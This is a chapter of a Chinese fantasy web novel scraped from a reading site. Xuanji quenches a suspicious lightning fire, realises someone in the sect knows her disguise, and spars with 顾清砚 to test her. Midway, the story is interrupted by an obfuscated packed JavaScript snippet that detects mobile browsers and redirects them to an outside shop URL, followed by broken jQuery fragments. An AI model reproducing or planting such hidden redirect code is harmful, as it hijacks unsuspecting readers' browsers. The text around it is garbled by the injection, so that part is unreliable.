默认冷灰
24号文字
方正启体

40. 第40章 怀疑

作者:何参升本书字数:K更新时间:
    身边热源乖巧地依偎着自己,顾清砚生出一种奇异的感觉,好像有蚂蚁从她的后脚跟爬到了天灵盖,浑身酥麻。


    在一种介于僵硬和松弛的状态之下,暗淡烛火飘忽摇曳中,她终于迷迷糊糊地阖上了眼。


    没多久便被拍门声吵醒了。


    灵雨不知何时停下了,玄玑身上那股难受的感觉消失殆尽,恍惚间听到印瑞阳和肖嘉的喊声,下意识地撑着床坐了起来。


    半夜有那两个小兔崽子敲门,准没好事,眼见顾清砚已经起身出门,玄玑也下床跟了出去。


    观云居里没人,敲不开门,枕月居里亮着灯,他们便要将这里的门都给拆了。


    外面两个人着急得很,从里边能看清门板不堪重负的震颤。


    顾清砚骤然打开门,肖嘉的手掌停滞在半空中。印瑞阳站在外侧围墙低矮处,似是要翻墙。


    “何事?”顾清砚问。


    肖嘉:“萧先生呢?”


    印瑞阳走过来说:“刚才一道闪电落下,我们的竹舍起火了,火势越来越大,已经点着旁边的竹舍了。”


    水行斋着火,里面的弟子却无能为力,怎么听都有些荒诞。


    何况大雨下了半宿,竹舍被流水浸湿,本就不易起火,这火似乎不寻常。


    “萧先生”就在此处,可现在并不能作数。


    顾清砚只好说:“萧先生不在,我……”


    “怎么了?”一道迷蒙温软的声音从身后传来。


    顾清砚回头便见玄玑堪堪睁开朦胧睡眼,靠在打开的门板旁边,雨后湿润的凉气入侵,清醒了一点,声音骤然冷却下来,蹙眉道:“又闯什么祸了?”


    玄玑还是白日的那副装扮,只是青丝未挽,披散在背后,被敲门的魔音从睡梦中拽起来,行止之间还带着几分慵懒,她此时除了声音,形貌无一处有威严,自己却浑然不知。


    没人说话,四周突然变得十分安静。


    发觉印瑞阳和肖嘉异常的怔愣,玄玑这才想起自己现在并不是“萧渚”。


    顾清砚适时道:“水行斋起火了,还请仙子施以援手。”


    路上印瑞阳交代向两人交代了事情的具体经过。


    据他所说,三更天时雨势便已见小,等到雨停,水行斋突然打了一声惊雷,一道闪电紧接着劈至竹舍,竹舍瞬时火光冲天。


    全水行斋的弟子都跑来救火,可这火怎么都扑不灭。


    四人到达的时候,一名颅顶焦黑如炭,头发枯燥卷曲、直冲云天的弟子还在舀水扑火,其他人灵力耗费得差不多,已经累瘫了。


    萧先生没出现,却来了个生面孔,众人好奇地目送玄玑走近那焦黑弟子,只见这名她在看到弟子黑一块白一块的脸时,表情变得十分古怪。


    “这是怎么回事?”玄玑指着范小源问。


    印瑞阳:“那闪电劈下来点着了竹舍,不知从哪里漏出来一点,将他也给劈了。”


    好在范小源近日学字收获颇丰,半夜非要写家书,最后伏在桌上睡着了,才躲过了那道最致命的电流。


    玄玑将范小源驱走,立在灼热的竹舍之前,运转灵力,将四周的水汽调动起来,不知是不是刚刚下过雨的缘故,水汽容易被调动积聚,给了她一种自己对灵力的掌控精进了许多的错觉。


    花草竹叶上的雨珠如受牵引般聚成银亮的水线各方水线循着玄玑腕间反转的弧度缠向竹舍。


    起初是细密的水网,像被无数只手织成的帘幕,压上跳动的焰舌的一瞬青烟之中腾起大量白雾,随即水势陡增,几道水龙自半空轰然而下,刚才还颇为嚣张的焰火,霎时偃旗息鼓了。


    被烧毁的竹舍之上,几缕青烟向天际攀升,却被姗姗来迟的山风带走了。


    玄玑走上前,轻抚灰烬,潮湿木灰被手指一捻便随风散去了,弟子们修为低微,浇的水并不参杂灵力,她却实打实地用了不少,从灰烬中感受到了除自己之外的另一股强大灵力,看来这闪电是有人故意降下的。


    她回头望向愁眉苦脸的范小源,饶他之前过了十几年的苦日子,也没有今日这般窘迫,灰头土脸、衣衫褴褛,浑身上下没有一块好地方。


    这雷劈的就是范小源。


    玄玑很快将这件事与消失的白衣男子联系在了一起。


    但仔细一想又不对。范小源出来之后已经将所有的事情都告诉她了,甚至消息可能已经暗中传遍,现在只灭口他一个人已经没什么用了,为什么还要来杀他?


    坏了他们的事,专门来泄愤吗?


    玄玑发觉那白衣人的身份十分重要,后山勉强算是在道宗之内,联想到最初“能解开秘境之人已在归墟道宗”的传言,她认为白衣人一定与之相关。


    但五十年前,谢氏所有人都埋在了那场大火中,她想不到还有谁能解开秘境。


    玄玑还想在宗门中追查下去,但范小源已经被盯上了,她不得不回来将他看顾好。


    大火被玄玑扑灭,水行院的弟子们皆目含崇拜与艳羡地偷偷仰望她,本人无知无觉,她站在废墟之前,看焦黑的范小源从他那身被雷劈成一道一道破布条,堪堪能够蔽体的道服中掏出一块残存的纸片。


    这是范小源写的家书,纸张上的字大小不一,却横平竖直可见他写得尤为用心,大部分的内容都还在,他用带着两道雷电焦痕的双手珍重地将纸片叠好,再次塞进了道服里。


    感受到一道紧紧盯着自己的视线,范小源抬头想看向目光的主人。


    玄玑却快步离开了。


    月白色外袍被她行走时带动的风带起,这风不是山中雨后的凉爽清风,而是带着一股天寒地冻的凛冽。


    顾清砚远远望见她神色凝重地御剑而起,便知她想明白了个中关窍,叫被烧毁房屋的几人去其他竹舍凑合一宿,匆匆回了枕月居。


    好。


    好。


    好!


    玄玑在疾风中发出“嗤”的一声,似乎被气笑了。


    她突然想明白为什么范小源一次又一次遇险了,也愈发地确定幕后之人就在归墟道宗之中,而且那人已经知晓了她假扮萧渚在此讲学的事情。


    如此厉害的雷电,两间竹舍不多时便被烧成了废墟,就是将这一屋子的人劈成烤串都不成问题,更别说一个只是没躺在床上睡觉的范小源了。


    结果第一间竹舍里,范小源浑身上下,除了有淡淡的皮外伤和看似夸张的残损衣物,并无任何危险。


    对方不需要杀掉范小源,只需要留着他的命将玄玑绑在学宫,让她不能回到道宗即可。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16280026|182510||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    道宗里大有问题。


    可是究竟哪里出了错?


    虽说进入学宫做仙师并不是什么危险的事,决定做得匆忙,玄玑也并未事无巨细地规划好一切,漏洞一定有,但不至于让人轻易察觉身份有异。


    目前已经知晓她身份的,只有顾喧洲和顾清砚。


    顾喧洲是条修为高深的老狐狸,二人相处时间在修士寿命动辄上百岁的修仙界可以说十分短促,但因为“恩怨”实在太过深重,导致印象也极为深刻,顾喧洲又与萧渚相识,认出她来也算是情理之中。


    顾清砚就更好说了,她只是一个小小的筑基修士,知道她的身份也是通过自己的兄长……


    思及此处玄玑怔愣了一瞬,顾清砚平日不好动武,很少展示修为,但回想她的每一次出手,在彩云镇偶山脚的庄子里,在偶山深处的潭水中,再怎么是顾清砚的妹妹,都不像是一个普通的筑基修士。


    玄玑落到枕月居的小院中,侧身回眸,望向随后而来的顾清砚。


    顾清砚借着远处屋中的幽幽烛火看见玄玑晦暗不明的表情和她缓缓抚上腰间佩剑的手。


    不好!她心下一惊,背手汇聚水汽,凝结冰刺。


    下一瞬,方才还站在两丈之远处的玄玑赫然提剑而至,顾清砚瞳孔骤缩,侧身躲避,转而翻腕携冰,挡下了继之而来的一击。


    “姐姐!”顾清砚大声喊她。


    玄玑置若罔闻,一招一式皆不含糊,步步紧逼。


    再坚硬的冰,要论格挡,也比不过碎玉断金坚韧非常的刀剑。


    一息之间两人便能过上数招,晶莹的碎冰被玄玑砍得迸溅翻飞,有几道极为锋利的,浅浅划开了顾清砚的丝锦衣袖。


    顾清砚想装模做样打几下便顺势落败,但玄玑似乎咬定了她能接住,不留任何余地,全力进攻,冰剑相交,险之又险。


    不能再这样打下去。


    顾清砚看准时机,在下一剑不由分说地袭来之时,将冰刺迎上去,在巨大的冲击力之下,冰棱迸裂,划伤了她葱白细长的手指。


    点点鲜血随着冰与水远去,顾清砚纵身环住了玄玑的脖颈。


    温热的体温席卷而上,玄玑似乎被强行包裹进了温柔乡,一时间不知作何反应,呆愣愣地被这一拥定在原地。


    “不是我。”顾清砚轻缓而坚定地说。


    玄玑知道不是她,也不是顾喧洲,此事与归墟道宗有关,牵扯不到他们兄妹二人。


    她只是一时想不通顾清砚的古怪,想试试她,不知道打着打着从哪里冒出来一股无名火,看见无辜可怜的绯红血滴才愧疚地平息下来。


    玄玑回过神,抬手轻轻推了几下顾清砚,顾清砚松开手时,她便转身向屋中走去。


    自己像傻子一样被人识破了身份却浑然不知,手里的弟子因此陷入危险之中,如果是自己有性命之忧,她连眼睛都不会眨一下,可此时,玄玑浑身发麻,莫名觉得周身全都是隐藏在黑暗中粘腻可怖的视线,她意识到自己很可能保护不了自己想保护的人。


    突然发觉自己其实幼稚得很,千头万绪理不出个切实因果,只会拿自己亲近的人开刀。


    她蒙在温度早已散去的锦被之中,自暴自弃地任由自己当一只懦弱的鸵鸟。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)